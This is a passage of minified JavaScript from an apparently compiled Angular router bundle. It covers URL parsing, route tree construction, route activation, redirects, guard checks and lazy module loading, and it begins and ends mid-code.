e={};this.peekStartsWith("/(")&&(this.capture("/"),e=this.parseParens(!0));let n={};return this.peekStartsWith("(")&&(n=this.parseParens(!1)),(t.length>0||Object.keys(e).length>0)&&(n[cr]=new Or(t,e)),n}parseSegment(){const t=zr(this.remaining);if(""===t&&this.peekStartsWith(";"))throw new Error(`Empty path url segment cannot have parameters: '${this.remaining}'.`);return this.capture(t),new Er(Fr(t),this.parseMatrixParams())}parseMatrixParams(){const t={};for(;this.consumeOptional(";");)this.parseParam(t);return t}parseParam(t){const e=zr(this.remaining);if(!e)return;this.capture(e);let n="";if(this.consumeOptional("=")){const t=zr(this.remaining);t&&(n=t,this.capture(n))}t[Fr(e)]=Fr(n)}parseQueryParam(t){const e=function(t){const e=t.match(Gr);return e?e[0]:""}(this.remaining);if(!e)return;this.capture(e);let n="";if(this.consumeOptional("=")){const t=function(t){const e=t.match(Ur);return e?e[0]:""}(this.remaining);t&&(n=t,this.capture(n))}const r=Vr(e),i=Vr(n);if(t.hasOwnProperty(r)){let e=t[r];Array.isArray(e)||(e=[e],t[r]=e),e.push(i)}else t[r]=i}parseParens(t){const e={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){const n=zr(this.remaining),r=this.remaining[n.length];if("/"!==r&&")"!==r&&";"!==r)throw new Error(`Cannot parse url '${this.url}'`);let i;n.indexOf(":")>-1?(i=n.substr(0,n.indexOf(":")),this.capture(i),this.capture(":")):t&&(i=cr);const o=this.parseChildren();e[i]=1===Object.keys(o).length?o[cr]:new Or([],o),this.consumeOptional("//")}return e}peekStartsWith(t){return this.remaining.startsWith(t)}consumeOptional(t){return!!this.peekStartsWith(t)&&(this.remaining=this.remaining.substring(t.length),!0)}capture(t){if(!this.consumeOptional(t))throw new Error(`Expected "${t}".`)}}class Wr{constructor(t){this._root=t}get root(){return this._root.value}parent(t){const e=this.pathFromRoot(t);return e.length>1?e[e.length-2]:null}children(t){const e=Kr(t,this._root);return e?e.children.map(t=>t.value):[]}firstChild(t){const e=Kr(t,this._root);return e&&e.children.length>0?e.children[0].value:null}siblings(t){const e=$r(t,this._root);return e.length<2?[]:e[e.length-2].children.map(t=>t.value).filter(e=>e!==t)}pathFromRoot(t){return $r(t,this._root).map(t=>t.value)}}function Kr(t,e){if(t===e.value)return e;for(const n of e.children){const e=Kr(t,n);if(e)return e}return null}function $r(t,e){if(t===e.value)return[e];for(const n of e.children){const r=$r(t,n);if(r.length)return r.unshift(e),r}return[]}class Qr{constructor(t,e){this.value=t,this.children=e}toString(){return`TreeNode(${this.value})`}}function Xr(t){const e={};return t&&t.children.forEach(t=>e[t.value.outlet]=t),e}class Zr extends Wr{constructor(t,e){super(t),this.snapshot=e,ri(this,t)}toString(){return this.snapshot.toString()}}function Yr(t,e){const n=function(t,e){const n=new ei([],{},{},"",{},cr,e,null,t.root,-1,{});return new ni("",new Qr(n,[]))}(t,e),r=new $e([new Er("",{})]),i=new $e({}),o=new $e({}),s=new $e({}),a=new $e(""),c=new Jr(r,i,s,a,o,cr,e,n.root);return c.snapshot=n.root,new Zr(new Qr(c,[]),n)}class Jr{constructor(t,e,n,r,i,o,s,a){this.url=t,this.params=e,this.queryParams=n,this.fragment=r,this.data=i,this.outlet=o,this.component=s,this._futureSnapshot=a}get routeConfig(){return this._futureSnapshot.routeConfig}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=this.params.pipe((0,ue.U)(t=>ur(t)))),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe((0,ue.U)(t=>ur(t)))),this._queryParamMap}toString(){return this.snapshot?this.snapshot.toString():`Future(${this._futureSnapshot})`}}function ti(t,e="emptyOnly"){const n=t.pathFromRoot;let r=0;if("always"!==e)for(r=n.length-1;r>=1;){const t=n[r],e=n[r-1];if(t.routeConfig&&""===t.routeConfig.path)r--;else{if(e.component)break;r--}}return function(t){return t.reduce((t,e)=>({params:Object.assign(Object.assign({},t.params),e.params),data:Object.assign(Object.assign({},t.data),e.data),resolve:Object.assign(Object.assign({},t.resolve),e._resolvedData)}),{params:{},data:{},resolve:{}})}(n.slice(r))}class ei{constructor(t,e,n,r,i,o,s,a,c,l,u){this.url=t,this.params=e,this.queryParams=n,this.fragment=r,this.data=i,this.outlet=o,this.component=s,this.routeConfig=a,this._urlSegment=c,this._lastPathIndex=l,this._resolve=u}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=ur(this.params)),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=ur(this.queryParams)),this._queryParamMap}toString(){return`Route(url:'${this.url.map(t=>t.toString()).join("/")}', path:'${this.routeConfig?this.routeConfig.path:""}')`}}class ni extends Wr{constructor(t,e){super(e),this.url=t,ri(this,e)}toString(){return ii(this._root)}}function ri(t,e){e.value._routerState=t,e.children.forEach(e=>ri(t,e))}function ii(t){const e=t.children.length>0?` { ${t.children.map(ii).join(", ")} } `:"";return`${t.value}${e}`}function oi(t){if(t.snapshot){const e=t.snapshot,n=t._futureSnapshot;t.snapshot=n,fr(e.queryParams,n.queryParams)||t.queryParams.next(n.queryParams),e.fragment!==n.fragment&&t.fragment.next(n.fragment),fr(e.params,n.params)||t.params.next(n.params),function(t,e){if(t.length!==e.length)return!1;for(let n=0;n<t.length;++n)if(!fr(t[n],e[n]))return!1;return!0}(e.url,n.url)||t.url.next(n.url),fr(e.data,n.data)||t.data.next(n.data)}else t.snapshot=t._futureSnapshot,t.data.next(t._futureSnapshot.data)}function si(t,e){return fr(t.params,e.params)&&function(t,e){return Tr(t,e)&&t.every((t,n)=>fr(t.parameters,e[n].parameters))}(t.url,e.url)&&!(!t.parent!=!e.parent)&&(!t.parent||si(t.parent,e.parent))}function ai(t,e,n){if(n&&t.shouldReuseRoute(e.value,n.value.snapshot)){const r=n.value;r._futureSnapshot=e.value;const i=function(t,e,n){return e.children.map(e=>{for(const r of n.children)if(t.shouldReuseRoute(e.value,r.value.snapshot))return ai(t,e,r);return ai(t,e)})}(t,e,n);return new Qr(r,i)}{if(t.shouldAttach(e.value)){const n=t.retrieve(e.value);if(null!==n){const t=n.route;return ci(e,t),t}}const n=function(t){return new Jr(new $e(t.url),new $e(t.params),new $e(t.queryParams),new $e(t.fragment),new $e(t.data),t.outlet,t.component,t)}(e.value),r=e.children.map(e=>ai(t,e));return new Qr(n,r)}}function ci(t,e){if(t.value.routeConfig!==e.value.routeConfig)throw new Error("Cannot reattach ActivatedRouteSnapshot created from a different route");if(t.children.length!==e.children.length)throw new Error("Cannot reattach ActivatedRouteSnapshot with a different number of children");e.value._futureSnapshot=t.value;for(let n=0;n<t.children.length;++n)ci(t.children[n],e.children[n])}function li(t){return"object"==typeof t&&null!=t&&!t.outlets&&!t.segmentPath}function ui(t){return"object"==typeof t&&null!=t&&t.outlets}function di(t,e,n,r,i){let o={};return r&&br(r,(t,e)=>{o[e]=Array.isArray(t)?t.map(t=>`${t}`):`${t}`}),new Mr(n.root===t?e:hi(n.root,t,e),o,i)}function hi(t,e,n){const r={};return br(t.children,(t,i)=>{r[i]=t===e?n:hi(t,e,n)}),new Or(t.segments,r)}class pi{constructor(t,e,n){if(this.isAbsolute=t,this.numberOfDoubleDots=e,this.commands=n,t&&n.length>0&&li(n[0]))throw new Error("Root segment cannot have matrix parameters");const r=n.find(ui);if(r&&r!==yr(n))throw new Error("{outlets:{}} has to be the last command")}toRoot(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}class fi{constructor(t,e,n){this.segmentGroup=t,this.processChildren=e,this.index=n}}function gi(t,e,n){if(t||(t=new Or([],{})),0===t.segments.length&&t.hasChildren())return mi(t,e,n);const r=function(t,e,n){let r=0,i=e;const o={match:!1,pathIndex:0,commandIndex:0};for(;i<t.segments.length;){if(r>=n.length)return o;const e=t.segments[i],s=n[r];if(ui(s))break;const a=`${s}`,c=r<n.length-1?n[r+1]:null;if(i>0&&void 0===a)break;if(a&&c&&"object"==typeof c&&void 0===c.outlets){if(!_i(a,c,e))return o;r+=2}else{if(!_i(a,{},e))return o;r++}i++}return{match:!0,pathIndex:i,commandIndex:r}}(t,e,n),i=n.slice(r.commandIndex);if(r.match&&r.pathIndex<t.segments.length){const e=new Or(t.segments.slice(0,r.pathIndex),{});return e.children[cr]=new Or(t.segments.slice(r.pathIndex),t.children),mi(e,0,i)}return r.match&&0===i.length?new Or(t.segments,{}):r.match&&!t.hasChildren()?yi(t,e,n):r.match?mi(t,0,i):yi(t,e,n)}function mi(t,e,n){if(0===n.length)return new Or(t.segments,{});{const r=function(t){return ui(t[0])?t[0].outlets:{[cr]:t}}(n),i={};return br(r,(n,r)=>{"string"==typeof n&&(n=[n]),null!==n&&(i[r]=gi(t.children[r],e,n))}),br(t.children,(t,e)=>{void 0===r[e]&&(i[e]=t)}),new Or(t.segments,i)}}function yi(t,e,n){const r=t.segments.slice(0,e);let i=0;for(;i<n.length;){const o=n[i];if(ui(o)){const t=bi(o.outlets);return new Or(r,t)}if(0===i&&li(n[0])){r.push(new Er(t.segments[e].path,vi(n[0]))),i++;continue}const s=ui(o)?o.outlets[cr]:`${o}`,a=i<n.length-1?n[i+1]:null;s&&a&&li(a)?(r.push(new Er(s,vi(a))),i+=2):(r.push(new Er(s,{})),i++)}return new Or(r,{})}function bi(t){const e={};return br(t,(t,n)=>{"string"==typeof t&&(t=[t]),null!==t&&(e[n]=yi(new Or([],{}),0,t))}),e}function vi(t){const e={};return br(t,(t,n)=>e[n]=`${t}`),e}function _i(t,e,n){return t==n.path&&fr(e,n.parameters)}class Ci{constructor(t,e,n,r){this.routeReuseStrategy=t,this.futureState=e,this.currState=n,this.forwardEvent=r}activate(t){const e=this.futureState._root,n=this.currState?this.currState._root:null;this.deactivateChildRoutes(e,n,t),oi(this.futureState.root),this.activateChildRoutes(e,n,t)}deactivateChildRoutes(t,e,n){const r=Xr(e);t.children.forEach(t=>{const e=t.value.outlet;this.deactivateRoutes(t,r[e],n),delete r[e]}),br(r,(t,e)=>{this.deactivateRouteAndItsChildren(t,n)})}deactivateRoutes(t,e,n){const r=t.value,i=e?e.value:null;if(r===i)if(r.component){const i=n.getContext(r.outlet);i&&this.deactivateChildRoutes(t,e,i.children)}else this.deactivateChildRoutes(t,e,n);else i&&this.deactivateRouteAndItsChildren(e,n)}deactivateRouteAndItsChildren(t,e){this.routeReuseStrategy.shouldDetach(t.value.snapshot)?this.detachAndStoreRouteSubtree(t,e):this.deactivateRouteAndOutlet(t,e)}detachAndStoreRouteSubtree(t,e){const n=e.getContext(t.value.outlet);if(n&&n.outlet){const e=n.outlet.detach(),r=n.children.onOutletDeactivated();this.routeReuseStrategy.store(t.value.snapshot,{componentRef:e,route:t,contexts:r})}}deactivateRouteAndOutlet(t,e){const n=e.getContext(t.value.outlet),r=n&&t.value.component?n.children:e,i=Xr(t);for(const o of Object.keys(i))this.deactivateRouteAndItsChildren(i[o],r);n&&n.outlet&&(n.outlet.deactivate(),n.children.onOutletDeactivated(),n.attachRef=null,n.resolver=null,n.route=null)}activateChildRoutes(t,e,n){const r=Xr(e);t.children.forEach(t=>{this.activateRoutes(t,r[t.value.outlet],n),this.forwardEvent(new sr(t.value.snapshot))}),t.children.length&&this.forwardEvent(new ir(t.value.snapshot))}activateRoutes(t,e,n){const r=t.value,i=e?e.value:null;if(oi(r),r===i)if(r.component){const i=n.getOrCreateContext(r.outlet);this.activateChildRoutes(t,e,i.children)}else this.activateChildRoutes(t,e,n);else if(r.component){const e=n.getOrCreateContext(r.outlet);if(this.routeReuseStrategy.shouldAttach(r.snapshot)){const t=this.routeReuseStrategy.retrieve(r.snapshot);this.routeReuseStrategy.store(r.snapshot,null),e.children.onOutletReAttached(t.contexts),e.attachRef=t.componentRef,e.route=t.route.value,e.outlet&&e.outlet.attach(t.componentRef,t.route.value),wi(t.route)}else{const n=function(t){for(let e=t.parent;e;e=e.parent){const t=e.routeConfig;if(t&&t._loadedConfig)return t._loadedConfig;if(t&&t.component)return null}return null}(r.snapshot),i=n?n.module.componentFactoryResolver:null;e.attachRef=null,e.route=r,e.resolver=i,e.outlet&&e.outlet.activateWith(r,i),this.activateChildRoutes(t,null,e.children)}}else this.activateChildRoutes(t,null,n)}}function wi(t){oi(t.value),t.children.forEach(wi)}class xi{constructor(t,e){this.routes=t,this.module=e}}function Pi(t){return"function"==typeof t}function Si(t){return t instanceof Mr}const Mi=Symbol("INITIAL_VALUE");function Oi(){return pn(t=>function(...t){let e,n;return(0,Qe.K)(t[t.length-1])&&(n=t.pop()),"function"==typeof t[t.length-1]&&(e=t.pop()),1===t.length&&(0,Xe.k)(t[0])&&(t=t[0]),(0,en.n)(t,n).lift(new rn(e))}(t.map(t=>t.pipe(yn(1),_n(Mi)))).pipe(Cn((t,e)=>{let n=!1;return e.reduce((t,r,i)=>t!==Mi?t:(r===Mi&&(n=!0),n||!1!==r&&i!==e.length-1&&!Si(r)?t:r),t)},Mi),ae(t=>t!==Mi),(0,ue.U)(t=>Si(t)?t:!0===t),yn(1)))}let Ei=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["ng-component"]],decls:1,vars:0,template:function(t,e){1&t&&r.\u0275\u0275element(0,"router-outlet")},directives:function(){return[Po]},encapsulation:2}),t})();function Ti(t,e=""){for(let n=0;n<t.length;n++){const r=t[n];Ii(r,ki(e,r))}}function Ii(t,e){t.children&&Ti(t.children,e)}function ki(t,e){return e?t||e.path?t&&!e.path?`${t}/`:!t&&e.path?e.path:`${t}/${e.path}`:"":t}function Ai(t){const e=t.children&&t.children.map(Ai),n=e?Object.assign(Object.assign({},t),{children:e}):Object.assign({},t);return!n.component&&(e||n.loadChildren)&&n.outlet&&n.outlet!==cr&&(n.component=Ei),n}function Di(t){return t.outlet||cr}function Ni(t,e){const n=t.filter(t=>Di(t)===e);return n.push(...t.filter(t=>Di(t)!==e)),n}const Ri={matched:!1,consumedSegments:[],lastChild:0,parameters:{},positionalParamSegments:{}};function Li(t,e,n){var r;if(""===e.path)return"full"===e.pathMatch&&(t.hasChildren()||n.length>0)?Object.assign({},Ri):{matched:!0,consumedSegments:[],lastChild:0,parameters:{},positionalParamSegments:{}};const i=(e.matcher||pr)(n,t,e);if(!i)return Object.assign({},Ri);const o={};br(i.posParams,(t,e)=>{o[e]=t.path});const s=i.consumed.length>0?Object.assign(Object.assign({},o),i.consumed[i.consumed.length-1].parameters):o;return{matched:!0,consumedSegments:i.consumed,lastChild:i.consumed.length,parameters:s,positionalParamSegments:null!==(r=i.posParams)&&void 0!==r?r:{}}}function ji(t,e,n,r,i="corrected"){if(n.length>0&&function(t,e,n){return n.some(n=>Fi(t,e,n)&&Di(n)!==cr)}(t,n,r)){const i=new Or(e,function(t,e,n,r){const i={};i[cr]=r,r._sourceSegment=t,r._segmentIndexShift=e.length;for(const o of n)if(""===o.path&&Di(o)!==cr){const n=new Or([],{});n._sourceSegment=t,n._segmentIndexShift=e.length,i[Di(o)]=n}return i}(t,e,r,new Or(n,t.children)));return i._sourceSegment=t,i._segmentIndexShift=e.length,{segmentGroup:i,slicedSegments:[]}}if(0===n.length&&function(t,e,n){return n.some(n=>Fi(t,e,n))}(t,n,r)){const o=new Or(t.segments,function(t,e,n,r,i,o){const s={};for(const a of r)if(Fi(t,n,a)&&!i[Di(a)]){const n=new Or([],{});n._sourceSegment=t,n._segmentIndexShift="legacy"===o?t.segments.length:e.length,s[Di(a)]=n}return Object.assign(Object.assign({},i),s)}(t,e,n,r,t.children,i));return o._sourceSegment=t,o._segmentIndexShift=e.length,{segmentGroup:o,slicedSegments:n}}const o=new Or(t.segments,t.children);return o._sourceSegment=t,o._segmentIndexShift=e.length,{segmentGroup:o,slicedSegments:n}}function Fi(t,e,n){return(!(t.hasChildren()||e.length>0)||"full"!==n.pathMatch)&&""===n.path}function Vi(t,e,n,r){return!!(Di(t)===r||r!==cr&&Fi(e,n,t))&&("**"===t.path||Li(e,t,n).matched)}function Bi(t,e,n){return 0===e.length&&!t.children[n]}class Hi{constructor(t){this.segmentGroup=t||null}}class zi{constructor(t){this.urlTree=t}}function Gi(t){return new re.y(e=>e.error(new Hi(t)))}function Ui(t){return new re.y(e=>e.error(new zi(t)))}function qi(t){return new re.y(e=>e.error(new Error(`Only absolute redirects can have named outlets. redirectTo: '${t}'`)))}class Wi{constructor(t,e,n,i,o){this.configLoader=e,this.urlSerializer=n,this.urlTree=i,this.config=o,this.allowRedirects=!0,this.ngModule=t.get(r.NgModuleRef)}apply(){const t=ji(this.urlTree.root,[],[],this.config).segmentGroup,e=new Or(t.segments,t.children);return this.expandSegmentGroup(this.ngModule,this.config,e,cr).pipe((0,ue.U)(t=>this.createUrlTree(Ki(t),this.urlTree.queryParams,this.urlTree.fragment))).pipe(Pn(t=>{if(t instanceof zi)return this.allowRedirects=!1,this.match(t.urlTree);throw t instanceof Hi?this.noMatchError(t):t}))}match(t){return this.expandSegmentGroup(this.ngModule,this.config,t.root,cr).pipe((0,ue.U)(e=>this.createUrlTree(Ki(e),t.queryParams,t.fragment))).pipe(Pn(t=>{throw t instanceof Hi?this.noMatchError(t):t}))}noMatchError(t){return new Error(`Cannot match any routes. URL Segment: '${t.segmentGroup}'`)}createUrlTree(t,e,n){const r=t.segments.length>0?new Or([],{[cr]:t}):t;return new Mr(r,e,n)}expandSegmentGroup(t,e,n,r){return 0===n.segments.length&&n.hasChildren()?this.expandChildren(t,e,n).pipe((0,ue.U)(t=>new Or([],t))):this.expandSegment(t,n,e,n.segments,r,!0)}expandChildren(t,e,n){const r=[];for(const i of Object.keys(n.children))"primary"===i?r.unshift(i):r.push(i);return(0,qe.D)(r).pipe(oe(r=>{const i=n.children[r],o=Ni(e,r);return this.expandSegmentGroup(t,o,i,r).pipe((0,ue.U)(t=>({segment:t,outlet:r})))}),Cn((t,e)=>(t[e.outlet]=e.segment,t),{}),function(t,e){const n=arguments.length>=2;return r=>r.pipe(t?ae((e,n)=>t(e,n,r)):jn.y,On(1),n?Nn(e):In(()=>new sn))}())}expandSegment(t,e,n,r,i,o){return(0,qe.D)(n).pipe(oe(s=>this.expandSegmentAgainstRoute(t,e,n,s,r,i,o).pipe(Pn(t=>{if(t instanceof Hi)return(0,ne.of)(null);throw t}))),Fn(t=>!!t),Pn((t,n)=>{if(t instanceof sn||"EmptyError"===t.name){if(Bi(e,r,i))return(0,ne.of)(new Or([],{}));throw new Hi(e)}throw t}))}expandSegmentAgainstRoute(t,e,n,r,i,o,s){return Vi(r,e,i,o)?void 0===r.redirectTo?this.matchSegmentAgainstRoute(t,e,r,i,o):s&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(t,e,n,r,i,o):Gi(e):Gi(e)}expandSegmentAgainstRouteUsingRedirect(t,e,n,r,i,o){return"**"===r.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(t,n,r,o):this.expandRegularSegmentAgainstRouteUsingRedirect(t,e,n,r,i,o)}expandWildCardWithParamsAgainstRouteUsingRedirect(t,e,n,r){const i=this.applyRedirectCommands([],n.redirectTo,{});return n.redirectTo.startsWith("/")?Ui(i):this.lineralizeSegments(n,i).pipe((0,ie.zg)(n=>{const i=new Or(n,{});return this.expandSegment(t,i,e,n,r,!1)}))}expandRegularSegmentAgainstRouteUsingRedirect(t,e,n,r,i,o){const{matched:s,consumedSegments:a,lastChild:c,positionalParamSegments:l}=Li(e,r,i);if(!s)return Gi(e);const u=this.applyRedirectCommands(a,r.redirectTo,l);return r.redirectTo.startsWith("/")?Ui(u):this.lineralizeSegments(r,u).pipe((0,ie.zg)(r=>this.expandSegment(t,e,n,r.concat(i.slice(c)),o,!1)))}matchSegmentAgainstRoute(t,e,n,r,i){if("**"===n.path)return n.loadChildren?(n._loadedConfig?(0,ne.of)(n._loadedConfig):this.configLoader.load(t.injector,n)).pipe((0,ue.U)(t=>(n._loadedConfig=t,new Or(r,{})))):(0,ne.of)(new Or(r,{}));const{matched:o,consumedSegments:s,lastChild:a}=Li(e,n,r);if(!o)return Gi(e);const c=r.slice(a);return this.getChildConfig(t,n,r).pipe((0,ie.zg)(t=>{const r=t.module,o=t.routes,{segmentGroup:a,slicedSegments:l}=ji(e,s,c,o),u=new Or(a.segments,a.children);if(0===l.length&&u.hasChildren())return this.expandChildren(r,o,u).pipe((0,ue.U)(t=>new Or(s,t)));if(0===o.length&&0===l.length)return(0,ne.of)(new Or(s,{}));const d=Di(n)===i;return this.expandSegment(r,u,o,l,d?cr:i,!0).pipe((0,ue.U)(t=>new Or(s.concat(t.segments),t.children)))}))}getChildConfig(t,e,n){return e.children?(0,ne.of)(new xi(e.children,t)):e.loadChildren?void 0!==e._loadedConfig?(0,ne.of)(e._loadedConfig):this.runCanLoadGuards(t.injector,e,n).pipe((0,ie.zg)(n=>{return n?this.configLoader.load(t.injector,e).pipe((0,ue.U)(t=>(e._loadedConfig=t,t))):(r=e,new re.y(t=>t.error(hr(`Cannot load children because the guard of the route "path: '${r.path}'" returned false`))));var r})):(0,ne.of)(new xi([],t))}runCanLoadGuards(t,e,n){const r=e.canLoad;if(!r||0===r.length)return(0,ne.of)(!0);const i=r.map(r=>{const i=t.get(r);let o;if((s=i)&&Pi(s.canLoad))o=i.canLoad(e,n);else{if(!Pi(i))throw new Error("Invalid CanLoad guard");o=i(e,n)}var s;return vr(o)});return(0,ne.of)(i).pipe(Oi(),(0,Vn.b)(t=>{if(!Si(t))return;const e=hr(`Redirecting to "${this.urlSerializer.serialize(t)}"`);throw e.url=t,e}),(0,ue.U)(t=>!0===t))}lineralizeSegments(t,e){let n=[],r=e.root;for(;;){if(n=n.concat(r.segments),0===r.numberOfChildren)return(0,ne.of)(n);if(r.numberOfChildren>1||!r.children[cr])return qi(t.redirectTo);r=r.children[cr]}}applyRedirectCommands(t,e,n){return this.applyRedirectCreatreUrlTree(e,this.urlSerializer.parse(e),t,n)}applyRedirectCreatreUrlTree(t,e,n,r){const i=this.createSegmentGroup(t,e.root,n,r);return new Mr(i,this.createQueryParams(e.queryParams,this.urlTree.queryParams),e.fragment)}createQueryParams(t,e){const n={};return br(t,(t,r)=>{if("string"==typeof t&&t.startsWith(":")){const i=t.substring(1);n[r]=e[i]}else n[r]=t}),n}createSegmentGroup(t,e,n,r){const i=this.createSegments(t,e.segments,n,r);let o={};return br(e.children,(e,i)=>{o[i]=this.createSegmentGroup(t,e,n,r)}),new Or(i,o)}createSegments(t,e,n,r){return e.map(e=>e.path.startsWith(":")?this.findPosParam(t,e,r):this.findOrReturn(e,n))}findPosParam(t,e,n){const r=n[e.path.substring(1)];if(!r)throw new Error(`Cannot redirect to '${t}'. Cannot find '${e.path}'.`);return r}findOrReturn(t,e){let n=0;for(const r of e){if(r.path===t.path)return e.splice(n),r;n++}return t}}function Ki(t){const e={};for(const n of Object.keys(t.children)){const r=Ki(t.children[n]);(r.segments.length>0||r.hasChildren())&&(e[n]=r)}return function(t){if(1===t.numberOfChildren&&t.children[cr]){const e=t.children[cr];return new Or(t.segments.concat(e.segments),e.children)}return t}(new Or(t.segments,e))}class $i{constructor(t){this.path=t,this.route=this.path[this.path.length-1]}}class Qi{constructor(t,e){this.component=t,this.route=e}}function Xi(t,e,n){const r=t._root;return Yi(r,e?e._root:null,n,[r.value])}function Zi(t,e,n){const r=function(t){if(!t)return null;for(let e=t.parent;e;e=e.parent){const t=e.routeConfig;if(t&&t._loadedConfig)return t._loadedConfig}return null}(e);return(r?r.module.injector:n).get(t)}function Yi(t,e,n,r,i={canDeactivateChecks:[],canActivateChecks:[]}){const o=Xr(e);return t.children.forEach(t=>{(function(t,e,n,r,i={canDeactivateChecks:[],canActivateChecks:[]}){const o=t.value,s=e?e.value:null,a=n?n.getContext(t.value.outlet):null;if(s&&o.routeConfig===s.routeConfig){const c=function(t,e,n){if("function"==typeof n)return n(t,e);switch(n){case"pathParamsChange":return!Tr(t.url,e.url);case"pathParamsOrQueryParamsChange":return!Tr(t.url,e.url)||!fr(t.queryParams,e.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!si(t,e)||!fr(t.queryParams,e.queryParams);case"paramsChange":default:return!si(t,e)}}(s,o,o.routeConfig.runGuardsAndResolvers);c?i.canActivateChecks.push(new $i(r)):(o.data=s.data,o._resolvedData=s._resolvedData),Yi(t,e,o.component?a?a.children:null:n,r,i),c&&a&&a.outlet&&a.outlet.isActivated&&i.canDeactivateChecks.push(new Qi(a.outlet.component,s))}else s&&Ji(e,a,i),i.canActivateChecks.push(new $i(r)),Yi(t,null,o.component?a?a.children:null:n,r,i)})(t,o[t.value.outlet],n,r.concat([t.value]),i),delete o[t.value.outlet]}),br(o,(t,e)=>Ji(t,n.getContext(e),i)),i}function Ji(t,e,n){const r=Xr(t),i=t.value;br(r,(t,r)=>{Ji(t,i.component?e?e.children.getContext(r):null:e,n)}),n.canDeactivateChecks.push(new Qi(i.component&&e&&e.outlet&&e.outlet.isActivated?e.outlet.component:null,i))}class to{}function eo(t){return new re.y(e=>e.error(t))}class no{constructor(t,e,n,r,i,o){this.rootComponentType=t,this.config=e,this.urlTree=n,this.url=r,this.paramsInheritanceStrategy=i,this.relativeLinkResolution=o}recognize(){const t=ji(this.urlTree.root,[],[],this.config.filter(t=>void 0===t.redirectTo),this.relativeLinkResolution).segmentGroup,e=this.processSegmentGroup(this.config,t,cr);if(null===e)return null;const n=new ei([],Object.freeze({}),Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,{},cr,this.rootComponentType,null,this.urlTree.root,-1,{}),r=new Qr(n,e),i=new ni(this.url,r);return this.inheritParamsAndData(i._root),i}inheritParamsAndData(t){const e=t.value,n=ti(e,this.paramsInheritanceStrategy);e.params=Object.freeze(n.params),e.data=Object.freeze(n.data),t.children.forEach(t=>this.inheritParamsAndData(t))}processSegmentGroup(t,e,n){return 0===e.segments.length&&e.hasChildren()?this.processChildren(t,e):this.processSegment(t,e,e.segments,n)}processChildren(t,e){const n=[];for(const i of Object.keys(e.children)){const r=e.children[i],o=Ni(t,i),s=this.processSegmentGroup(o,r,i);if(null===s)return null;n.push(...s)}const r=io(n);return r.sort((t,e)=>t.value.outlet===cr?-1:e.value.outlet===cr?1:t.value.outlet.localeCompare(e.value.outlet)),r}processSegment(t,e,n,r){for(const i of t){const t=this.processSegmentAgainstRoute(i,e,n,r);if(null!==t)return t}return Bi(e,n,r)?[]:null}processSegmentAgainstRoute(t,e,n,r){if(t.redirectTo||!Vi(t,e,n,r))return null;let i,o=[],s=[];if("**"===t.path){const r=n.length>0?yr(n).parameters:{};i=new ei(n,r,Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,ao(t),Di(t),t.component,t,oo(e),so(e)+n.length,co(t))}else{const r=Li(e,t,n);if(!r.matched)return null;o=r.consumedSegments,s=n.slice(r.lastChild),i=new ei(o,r.parameters,Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,ao(t),Di(t),t.component,t,oo(e),so(e)+o.length,co(t))}const a=(u=t).children?u.children:u.loadChildren?u._loadedConfig.routes:[],{segmentGroup:c,slicedSegments:l}=ji(e,o,s,a.filter(t=>void 0===t.redirectTo),this.relativeLinkResolution);var u;if(0===l.length&&c.hasChildren()){const t=this.processChildren(a,c);return null===t?null:[new Qr(i,t)]}if(0===a.length&&0===l.length)return[new Qr(i,[])];const d=Di(t)===r,h=this.processSegment(a,c,l,d?cr:r);return null===h?null:[new Qr(i,h)]}}function ro(t){const e=t.value.routeConfig;return e&&""===e.path&&void 0===e.redirectTo}function io(t){const e=[],n=new Set;for(const r of t){if(!ro(r)){e.push(r);continue}const t=e.find(t=>r.value.routeConfig===t.value.routeConfig);void 0!==t?(t.children.push(...r.children),n.add(t)):e.push(r)}for(const r of n){const t=io(r.children);e.push(new Qr(r.value,t))}return e.filter(t=>!n.has(t))}function oo(t){let e=t;for(;e._sourceSegment;)e=e._sourceSegment;return e}function so(t){let e=t,n=e._segmentIndexShift?e._segmentIndexShift:0;for(;e._sourceSegment;)e=e._sourceSegment,n+=e._segmentIndexShift?e._segmentIndexShift:0;return n-1}function ao(t){return t.data||{}}function co(t){return t.resolve||{}}function lo(t){return pn(e=>{const n=t(e);return n?(0,qe.D)(n).pipe((0,ue.U)(()=>e)):(0,ne.of)(e)})}class uo extends class{shouldDetach(t){return!1}store(t,e){}shouldAttach(t){return!1}retrieve(t){return null}shouldReuseRoute(t,e){return t.routeConfig===e.routeConfig}}{}const ho=new r.InjectionToken("ROUTES");class po{constructor(t,e,n,r){this.loader=t,this.compiler=e,this.onLoadStartListener=n,this.onLoadEndListener=r}load(t,e){if(e._loader$)return e._loader$;this.onLoadStartListener&&this.onLoadStartListener(e);const n=this.loadModuleFactory(e.loadChildren).pipe((0,ue.U)(n=>{this.onLoadEndListener&&this.onLoadEndListener(e);const i=n.create(t);return new xi(mr(i.injector.get(ho,void 0,r.InjectFlags.Self|r.InjectFlags.Optional)).map(Ai),i)}),Pn(t=>{throw e._loader$=void 0,t}));return e._loader$=new dn.c(n,()=>new We.xQ).pipe((0,Bn.x)()),e._loader$}loadModuleFactory(t){return"string"==typeof t?(0,qe.D)(this.loader.load(t)):vr(t()).pipe((0,ie.zg)(t=>t instanceof r.NgModuleFactory?(0,ne.of)(t):(0,qe.D)(this.compiler.compileModuleAsync(t))))}}class fo{constructor(){this.outlet=null,this.route=null,this.resolver=null,this.children=new 